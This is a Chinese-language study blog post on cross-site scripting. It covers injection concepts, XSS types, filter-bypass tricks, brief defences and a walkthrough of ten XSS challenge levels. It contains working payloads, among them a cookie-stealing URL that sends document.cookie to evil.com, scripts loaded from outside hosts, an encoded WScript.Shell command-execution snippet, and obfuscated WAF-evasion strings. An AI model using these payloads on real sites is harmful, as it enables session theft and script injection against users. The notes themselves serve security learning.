Web学习笔记 之 XSS
指令、数据
Web世界是由数据构成的,而存储、传输、展示出这些数据则需要指令的执行。合适的指令在合适的环境下解释执行,从而产生合适的数据内容。比如select username,email from user where id = 1;
,这是一条SQL查询指令,当这条指令被数据库引擎解释执行时就会产生一组数据,内容由username、email构成。再如<script>eval(location.hash.substr(1));</script>
<script></script>
标签内是一句JavaScript指令,由浏览器的JS引擎来解释执行,解释的结果就是数据。而它本身则是一个HTML标签,由浏览器的DOM引擎渲染执行。
如果指令和数据完全独立,那显然是太平盛世,然而如果正常的输入数据被注入了指令,并且在解释的过程中指令还被独立执行了,那么攻击就发生了。
如果www.evil.com/info.html的代码内容为``
我们构造如下链接http://www.evil.com/info.html#new%20Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)
那么浏览器就会解释执行eval(locaion.hash.substr(1));
变为eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')
当被攻击者被诱骗点了该链接时,Cookies会话信息就会被传到黑客网站上。
攻击的发生,是因为通过url注入了一段恶意的指令,并且该指令能被执行。
同源策略
同源策略有几个关键词:不同域、客户端脚本、授权、读写、资源。
同域要求两个站点同协议、同域名、同端口。
授权:HTML5新标准中提到关于AJAX跨域访问默认情况下是不允许的,只有目标站点明确的返回HTTP响应头:Access-Control-Allow-Origin: http://www.evil.com
资源:包括HTTP消息头、整个DOM树、浏览器存储等
DOM:全称Document Object Model,即文档对象模型,就是浏览器将HTML/XML这样的文档抽象成一个树形结构,树上的每一个节点都代表HTML/XML中的标签、标签属性或标签内容。
URL
url有个重点就是编码方式,有三类:escape、encodeURI、encodeURIComponent,对应的解码函数是:unescape、decodeURI、decodeURIComponent。
XSS
XSS全称为跨站脚本(Cross Site Scripting)。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击。
很多时候输入的内容长度是有限制的。真正的XSS弹窗毫无意义,所以攻击代码可能会比较长,一般注入类似的下面的引用第三方域上的脚本<script>src="http://www.evil.com/xss.js"></script>
反射型 XSS
发出请求时,XSS代码出现在URL中,作为输入提交到服务器,服务端解析后响应,在响应内容中出现这段XSS代码,最后浏览器解析执行。这个过程就像是一次反射,故称为反射型XSS。
一个简单的例子,在http://www.foo.com/xss/reflect1.php代码如下`,输入的x的值未经任何过滤就直接输出,可以提交:
http://www.foo.com/xss/reflect1.php?x=,服务端解析时,echo就会完整地输出
`到响应体中,然后浏览器解析执行触发。【彩蛋哈哈】
存储型 XSS
存储型XSS和反射型XSS的差别仅在于;提交的XSS代码会存储在服务端,下次请求目标页面时不用再提交XSS代码,最典型的例子是留言板XSS。
除了留言板,如果服务端有一些记录ip的的功能甚至可以用X-Forwarded-For打XSS,见信呼OA存储型XSS 0day复现
DOM型 XSS
DOM型 XSS与反射型、存储型的差别在于,DOM型 XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事。
知乎上也有一种说法:DOM型XSS取决于输出位置,并不取决于输出环境,简单去理解就是因为他输出点在DOM,所以在道哥的《白帽子讲Web安全里》也有详细介绍。DOM型XSS是通过url传入参数去控制触发的。
然后问了一些Web师傅,他们的回答是,把DOM型XSS看作是反射型XSS的一种,是在前端实现的。所以DOM型和反射型XSS都只能自己日自己,都是需要与人交互才能产生效果。
实例
打开主页会调用index.js文件
可以看到代码会用getParam函数接受提交过来的platform参数,处理后直接传给eval
再跟进getParam函数
1 | // 用正则表达式获取地址栏参数 |
这里并没有做任何过滤,所以我们的参数值是完整的被返回过来的。这里就造成了代码执行。
payload:http://xxx.xxx.xxx.xxx/?platform=alert(“xss”)
,执行效果
RCE执行-payload
1 | var o = new ActiveXObject("WScript.Shell"); |
为了美观,我们对代码进行编码,编码后代码如下(头尾两个回车符)
1 | String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10) |
然而浏览器的安全机制默认禁止使用activex控件,所以。还得利用一些浏览器的漏洞来绕过。
场景(HTML)
XSS涉及的场景很广,出现在支持HTML解析和JavaScript解析的客户端软件、页面上。在触发XSS时我们需要关注输入点与输出点,这里我们先假设有一个id=1的输入点,针对不同的输出点,我们的利用方式则是不同的。
· HTML标签之间,比如:出现在<div id="body”>[输出]</div>
位置
· HTML标签之内,比如:出现在<input type="text” value = "[输出]"/>
位置
· 成为JavaScript代码的值,比如:<script>a="[输出]",...</script>
位置
· 成为CSS代码的值,比如:<style>body{font-size:[输出]px;...}</style>
位置
1. HTML标签之间
最普通的出现在<div id="body”>[输出]</div>
位置,那么提交id=1<script>alert(1)</script>
就可了,但是在<title><textarea><xmp><iframe><noscript><noframes><plaintext>
标签里面就不行,因为这些标签内无法执行脚本,我们得先将这些标签给闭合。另外,<script><style>
是不能嵌套标签的。
2. HTML标签之内
最普通的场景出现在<input type="text” value = "[输出]"/>
,要触发XSS有一下两种方法
”onmouserover=alert(1)x=”
,这种是用双引号闭合属性,然后用on事件来触发脚本。【这种触发成功率更高】
"><script>alert(1)</script>
,这种是先用双引号闭合属性,然后用尖括号又闭合了标签,然后直接执行脚本 【这种利用效果好】
换一种场景:<input type="hidden" value="[输出]" />
,一般情况下,此时我们只能闭合input标签,否则由于hidden特性导致触发不了XSS,但如果是这种语句<input value="[输出]" type="hidden"/>
,仅仅是调换了两个属性的位置,我们则可以用这样一条payload:1" onmouserover=alert(1) type = "text
输出后变为<input value="1" onmouserover=alert(1) type = "text" type="hidden"/>
,这样输出的就是一个标准的输入框,而不是一个隐藏的表单(hidden被text插队了)
另外两种场景:
输出在src/href/action等属性内,比如<a href = "[输出]”>click me</a>
这里我们除了各种闭合外,还可以:
javascript:alert(1)//
data:text/html;base64,PHNjcm1wdD5hbGVydCgxKTwvc2NyaXB0Pg==
这里有一个前提是我们提交的payload必须出现在这些属性值的开头(data协议必须作为整个属性值出现)
输出在on事件内:
由于on事件内是可以执行JavaScript脚本的,根据不同场景,我们需要弄清楚我们的输入是作为整个on事件出现,还是以某个函数的参数值出现、这个函数又是什么等。因为根据不同的场景我们可能需要不同的闭合策略。
最简单的场景就是:<a href="#" onclick ="eval('输出')">click me </a>
DOM渲染
HTML与JavaScript自解码机制
当一段JavaScript代码出现在HTML标签内,那么这里的JavaScript可以进行HTML形式的编码:进制编码(十进制、十六进制),HTML实体编码。例如:
<input type="button” id = "exec_btn” value="exec” onclik="x='<img src = @ onerror=alert(123) />';alert(x);document.write(x)” />
但是如果用户输入出现在<script>
标签内,这段内容要遵守的就是JavaScript的法则,即JavaScript编码:Unicode形式:\uH(十六进制);普通十六进制(\xH);纯转义:(在特殊字符前面加\进行转义。)
另外,在<textarea><title><iframe><noscript><noframes><xmp>
这几个标签中HTML也是不解析的。<plaintext>
则在Firefox下不解析,在Chrome下就会。
XSS过滤与绕过
空格、回车和tab
对XSS-Filter而言,如果仅仅是将函数加入黑名单,那么可以在函数名称之中尝试加入空格、回车、Tab等键位符来进行绕过。这是由于在JavaScript中只会将;作为语句的终止符,当浏览器引擎解析JavaScript脚本时没有匹配到;便会继续处理,知道发现下个分号为止,而换行符并不是终止符。如下列代码可绕过对关键字JavaScript|alert的过滤:
1 | <img src=javasc |
对标签属性值进行转码
<img src="javascript:alert('xss');">
=> <img src="javascript:alert('xss');">
由于我们的输入出现在<img>
标签内,所以可以进行实体编码来绕过过滤。
使用CSS绕过
利用CSS样式表可以执行JavaScript的特性,如
CSS直接执行JavaScript:
1 | <div style="background-image:url(javascript:alert('xss'))"> |
CSS中使用expression执行JavaScript:
1 | <div style="width: expression(alert('xss'))"> |
还可以利用@import直接执行JavaScript代码
1 | <style> |
在现实环境下,HTML页面中的CSS与Javascript的嵌入方式很相似,且CSS也可以执行JavaScript代码,故我们的XSS代码也可以通过嵌入远程恶意CSS文件来进行XSS攻击。
扰乱规则
· 大小写变换;
· 利用expression
执行跨站代码的时候,可以构造不同的全角字符来扰乱过滤规则;
· 结合样式表注释字符/**/
,通过CSS执行JavaScript
· 样式标签会过滤\和\0,可以构造如@i\mp\0\0ort 'jav\0asc\0rip\t:al\0er\t("x\0ss")'
绕过
· CSS关键字进行编码处理,如<p style="xss:\0065xpression(alert(/xss/))">
其中65为字母e进行unicode编码后的数字部分
· 利用浏览器解析注释的问题
利用字符编码
JavaScript支持许多的编码格式,如:unicode、escapes、十六|十|八进制
1 | JS8编码: |
一个python写的编码小脚本
1 | from urllib.parse import quote,unquote |
编码 alert,输出
拆分与编码
1 | <svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')> |
parseInt()与toString()
可以用parseInt将alert以基数为30转化为数字 8680439
用toString()函数将 8680439 以30为基数转成字符串alert
再结合on事件和Top属性 payload:ontoggle=top[8680439..toString(30)]('xss');
和Top属性类似的还有self、parent、frames、content、window
,但top是最短的了。
【以30为基数的时候有一些字母不能表示,所以建议以36为基数】
其它技巧
1 | <img src=1 alt=al lang=ert onerror=top[alt%2blang](0)> |
这个例子很巧妙,将alt和lang属性分别赋值合并起来就是alert,并在top属性内将2个属性相加。
除了拼alert,拼eval用处更大些,有了eval,后面的东西转码什么的也很方便
1 | <details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))> |
setTimeout()函数也是没问题的,毕竟也能执行代码。
1 | <details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')> |
setTimeout&setInterval
setTimeout在延时一定时间后执行code一次
1 | <svg/onload=setTimeout`alert\u0028233\u0029`> |
setInterval以一定时间为周期执行code
1 | <svg/onload=setInterval('al'%2b'ert(1)')> |
绕过waf,引用外部js
1 | <svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')> |
结合函数:
1 | <iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') > |
constructor
1 | <svg/onload=Set.constructor('al'%2b'ert(1)')()> |
payload:
1 | <svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()> |
防御
输入
严格控制用户可输入的范围,如手机号只能输入数字且长度不能大于11位等,如需输入某些敏感字符的情况下可对数据进行转义处理,对于用户数据的过滤尽可能地采用白名单而不是黑名单。
输出
减少不必要的输出,在需要输出的地方使用HTML编码将敏感字符转义为实体符,JavaScript进行DOM操作时注意不要将已转义的实体符再次解析成DOM对象。
其他
设置HttpOnly,开启WAF。
一些BAT的XSS实例(修改而来的XSS题目)
第一关
http://px1624.sinaapp.com/test/xsstest1/
1 | <script type="text/javascript"> |
这应该是一个DOM XSS,我们只需要对前面的括号进行闭合即可弹窗
payload:http://px1624.sinaapp.com/test/xsstest1/#');alert('123
第二关
http://px1624.sinaapp.com/test/xsstest2/
1 | <html> |
这里首先它获取了我们请求的参数,用&分割获取变量,然后将这两个变量传到函数aa中执行,函数aa对id为xx的标签进行了两次dom操作
这里,$("#xx")['text']()
的结果会是"<img src=x onerror=alert(1)>"
所以这里的payload:http://px1624.sinaapp.com/test/xsstest2/?append&text
于是xx标签就会加上一个xx的text形式
从而触发弹窗。
第三关
http://px1624.sinaapp.com/test/xsstest3/
1 | Give me xss bypass 3~ |
这里因为源码里的php代码没有显示,所以要猜变量名,这里猜出来用的变量名时px。然后我们传一个px=alert(1),返回
1 | Give me xss bypass 3~ |
发现传入的是字符串,于是我们用引号闭合两边,再用运算符拼接一下即刻触发弹窗
payload:http://px1624.sinaapp.com/test/xsstest3/?px=%27-alert(1)-%27
返回:
第四关
http://px1624.sinaapp.com/test/xsstest3/
第四关在第三关的基础上过滤了运算符,但在js中,in,instanceof也属于运算符,所以可以用这两个进行绕过
但这一题的预期解是用的模板字符串。
payload:http://px1624.sinaapp.com/test/xsstest4/?px=%27;`;{alert(%271
返回
两次同步输入导致中间的代码都变成了模板字符串。
第五关
http://px1624.sinaapp.com/test/xsstest5/user.php?callback=Give%20me%20xss%20bypass~
这一关进去就重定向到了user.php,发现url上有一个callback参数,
源码只有
1 | <html> |
所以输入点就是callback了,输出点在<pre>
标签间,<pre>
标签中的其他标签都会被实体编码,所以这里无法闭合标签。
然后因为是重定向过来的,所以把重定向给拦了可以看到
1 | <html> |
其中Tjs_Get函数在index.js中,主要是获取url参数用的。
所以payload:http://px1624.sinaapp.com/test/xsstest5/?uin=test/xsstest5/user.php&pn=callback=alert(1)
返回
因为http://px1624.sinaapp.com/test/xsstest5/user.php?callback=alert(1)这个文件内容只有alert(1),被JS引擎解释执行后于是产生弹窗。
第六关
http://px1624.sinaapp.com/test/xsstest6
相比第五关,可控的参数只有一个了,少了问号,并且过滤了问号和百分号,这就阻止了url编码
这里是用的js里替换了%
但这里匹配?用的是正则,和.*一起,而在js的正则里 点 匹配除了换行符以外的任意字符,并且匹配到换行符以后就会返回了,不会继续匹配下去。所以换行符应该就是突破点了,可是在url里换行符得用编码%0a表示,可%又被过滤了,套娃?!。这里出题人指出,表示换行符并不只%0a,这里指出换行符还可以用\u000A,\u000D,\u2028和 \u2029表示
于是测试payload:location="http://px1624.sinaapp.com/test/xsstest6/?#11?\u2028&uin=../test/xsstest6/user.php?callback=alert()"
,这里不能直接在url上输入,不然\u2028会被认为是字符串,所以只能在控制台打。然而我依旧没有成功(作者原话:得用老版Chrome或者IE,新版的Chorme对location.hash的特殊字符也进行了URL编码,所以导致\u2028和\u2029这种换行符的解析失效,从而不能用。)
最后这里第六关的user.php还对参数的值的长度做了要求,刚好无法弹1;
这里绕过的方法一个是用第五关的user.php,另一个方法,作者是用的name传参,利用iframe去这样构造
1 | <iframe id = "px" name = "<img src=x onerror=alert(1)>" src=""></iframe> |
第七关
http://px1624.sinaapp.com/test/xsstest7
输入点是px,输出点位于<script>
标签间,但是会对特殊符号进行转义。经测试并没有对反斜杠进行转义,所以可以用反斜杠把它的反斜杠给过滤掉,从而逃逸出单引号,
1 | ?px=\'-alert(1)- |
但是后面那个单引号则没有办法,
因为这里也有同步输出,所以想用第四题那种模板字符串,但是这里一个输出在js中,一个在html中,所以失败
这里要用到一个<script>
标签的特性
参考https://www.dazhuanlan.com/2019%2F10%2F25%2F5db1e6beea817/
HTML5解析器在标签<script></script>
中解析到<!--
时候,会进入到dash dash escaped state,哪怕是<script>
出现在js的字符串中。
大概意思就是在script标签里如果遇到<!--
,那么这个的解析优先级会变成最高,如果这个后面再出现<script>
标签,那么最近的另一个</script>
标签就会优先去闭合这个。
于是我们输入?px=<!--<script%20>
,因为>会被转义,所以我们前面打一个空格,<!--<script%20>
被转义为\<!--\<script%20\>
,根据js的特性,这等于\<!--\<script%20\=''>
,\
被认为是一个属性了,值是空,所以这个<script>
标签被解析。
于是该字符串下方的</script>
则被用来闭合我们的输入
这样两次同步输出都在js中了,于是这里使用模板字符串,用运算符拼接字符串
payload:
1 | http://px1624.sinaapp.com/test/xsstest7/?px=\%27-`-alert(1)//%3C!--%3Cscript%20%3E; |
返回
第八关
http://px1624.sinaapp.com/test/xsstest8/
第八关较第七关,输入点多了一个px1624
同样也是同步输出,除去两个在<script>
标签里的输出点,一个在<div>
标签间,一个是<input>
标签的value值,但是px1624的值就是px的值
输出点出现在value处,首先想到的是闭合双引号,然后用on事件触发弹窗,然而这里对双引号做了过滤,所以这里还是要跳出<script>
标签,
首先用 http://px1624.sinaapp.com/test/xsstest8/?px=%3C!--%3Cscript%20%3E
跳出
个人理解:这里第一个<!--
遇到了<script>
,随后优先级变高,紧跟着下面的那个<!--
就直接被无视了,然后遇到了下面的</script>
,直接拿了过来,优先级回落,然后最后一行又出现了<!--<script >
,但是后面已经没内容了,随后浏览器进行DOM渲染, 补上了</script>
。
最终payload:http://px1624.sinaapp.com/test/xsstest8/?px=%3C!--%3C/script%3E%3Cscript%20%3Ealert(1)%3C/script%3E
以</script>
开头,在<!--
遇到<script>
后被提升的优先级回落后【优先级回落前,遇到的第二个<!--<script>
并不能起到作用】,立刻闭合最前面的<script>
标签,随后自己再补上一个<script>alert(1)</script>
进行弹窗,这里是第四个输出点,并没有被编码or转义,故弹窗成功。
返回
第九关
http://px1624.sinaapp.com/test/xsstest9/
同样四个输出点,但是下面都做了一个html实体编码,因此用第八题的payload我们没法主动去闭合第一个<script>
标签,更没法弹窗了
所以这里的思路,只要在<script>
标签中写入alert(1)
就能弹窗了,这里应该要用到字符串与运算符间的拼接,然后要利用到模板字符串。当然,用<--!
跳出<script>
也是必不可少的一个步骤。(注意到,其实第三个和第四个输出点是由长度限制的,我们可以用这个长度限制来解决一些问题。
最终的payload:
1 | http://px1624.sinaapp.com/test/xsstest9/?px=a\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E |
返回:
从下面两个输出点看起的话可以发现,这里没有对/
进行转义,所以可以注释后面的一个标签。然后由于多余的`都被截断了,这里刚好剩下两个,可以用来闭合上面多出来的。而上面连续的两个`则用嵌套的方式隔开。由于同步输出,所以第一行后半部分也会有两个`,也正好对应前面两个`。
对于构造步骤:
首先是想在前面独立出一个alert(1),
类似这样,但这需要后面都被模板字符串包裹,测试过很多种,都没有成功实现。
于是想着在最后独立出一个alert(1),后面的标签可以注释掉。又因为同步输出的问题,一行里的`的个数得是一个奇数才能达到一个逃逸的效果;但如果是偶数的话,利用嵌套,也可以达到跨行闭合的效果。而嵌套我们用对象,是{a:`${`的形式,所以得有一个`}来闭合{`,然后还得有一个}来闭合{,所以前半段得出现`}和},既然有了},那也得个{来闭合。于是就有了{a:`}xxxx}的形式,再补上一个`,变成{a:`}xxxx`},这样这一段就是独立的了,并且补上的这个`也闭合了之前嵌套的`,再插入一个alert(1),就有了下面的payload。
这样子上半部分就配合的很好了,至于下面,`出现了四次,我们可以在前面填充下,就能抹去多余的两个`,从而实现弹窗
这一关可能思路不是很顺,因为payload也不是自己测出来的,是对出题人给的payload的理解。
第十关
http://px1624.sinaapp.com/test/xsstest10/
相较于第九关,这一关的第三个输出点长度只输出两位,第四个输出点不限制长度
由于只有两个字符,所以`}大概是比较有用的,我们把这个放在第九关payload的最前面
返回
提前闭合了,于是,想着再嵌套一层?刚好也多了两层`},这样最后一行的alert(1)就可以出来了
payload
1 | http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}-alert(1)//`}-{a:`${`${`%3C!--%3Cscript%20%3E// |
返回
总结
这里是对这几个关卡的知识点的简单总结叭
第一关是一个简单的DOM型XSS,这里只需要进行一个简单的闭合操作就可,然后用到的取参函数是location.hash,所以对JavaScript需要有一定的熟悉。
第二关是考点是一个dom操作
第三关除了闭合外,还有JavaScript的字符串与运算符相关的知识:由于JavaScript是个弱类型,所以字符串之间也可以进行运算操作,也可以拿来做一种变相的拼接
第四关出现了字符型的运算符以及模板字符串相关的知识点,不过模板字符串一般需要至少两个可控输出点
第五关有一个重定向的小坑,不过问题不大。这里主要也是因为对参数过滤的不严格导致的xss,然后考点也是对输入点间的相互配合以达到利用效果叭
第六关主要利用的是Js的正则表达式、换行符相关的基础知识,以及对服务端其他文件的一些利用(比如用了第五关的user.php)
第七关是对<!-- <script>
以及模板字符串性质的利用,这些运用也都有在后面的关卡出现
第八关有四个同步输出点了,这一关的利用难度也提升了一个档次,同时也让我们对<!-- <script>
有了更深层次的理解。
第九关在第八关的基础上对后面两个输出点进行了编码,所以我们无法像第八关一样闭合前面的<script>
,再自己写一个<script>alert(1)</script>
来弹窗,只能在他给好的<script>
标签间进行弹窗。这里用到了JavaScript的嵌套相关的性质
第十关在第九关的基础上对后面两个输出点的长度做了限制,这里过关的paylaod与第九关相比就是用到了更多一层的嵌套。
其实这里十关做下来,并没有用到XSS特殊的bypass姿势,主要还是对JavaScript的一些基础性质做了详细的了解学习,毕竟这里也都是一些反射型、DOM型XSS,可能在实际的漏洞挖掘中并没有很大的用处,利用起来也相对困难(很多厂商也不收),但对于我这个初学者来说还是受益良多。
总结
总的来看,在应用上,存储型XSS > DOM型XSS ≈反射型XSS。为什么这么说?因为存储型XSS最持久,而且更为隐蔽,因为是存在数据库当中的,触发的url当中没有带js或者其他的html代码。然后反射型XSS和DOM型XSS,因为它们都需要在url中加入js代码才能够触发,所以需要与人交互钓鱼才能产生效果,否则也只能是自己日自己。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com
文章标题:Web学习笔记 之 XSS
文章字数:7.8k
本文作者:Van1sh
发布时间:2020-07-26, 10:44:00
最后更新:2020-08-12, 22:38:08
原始链接:http://jayxv.github.io/2020/07/26/Web学习笔记之XSS/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。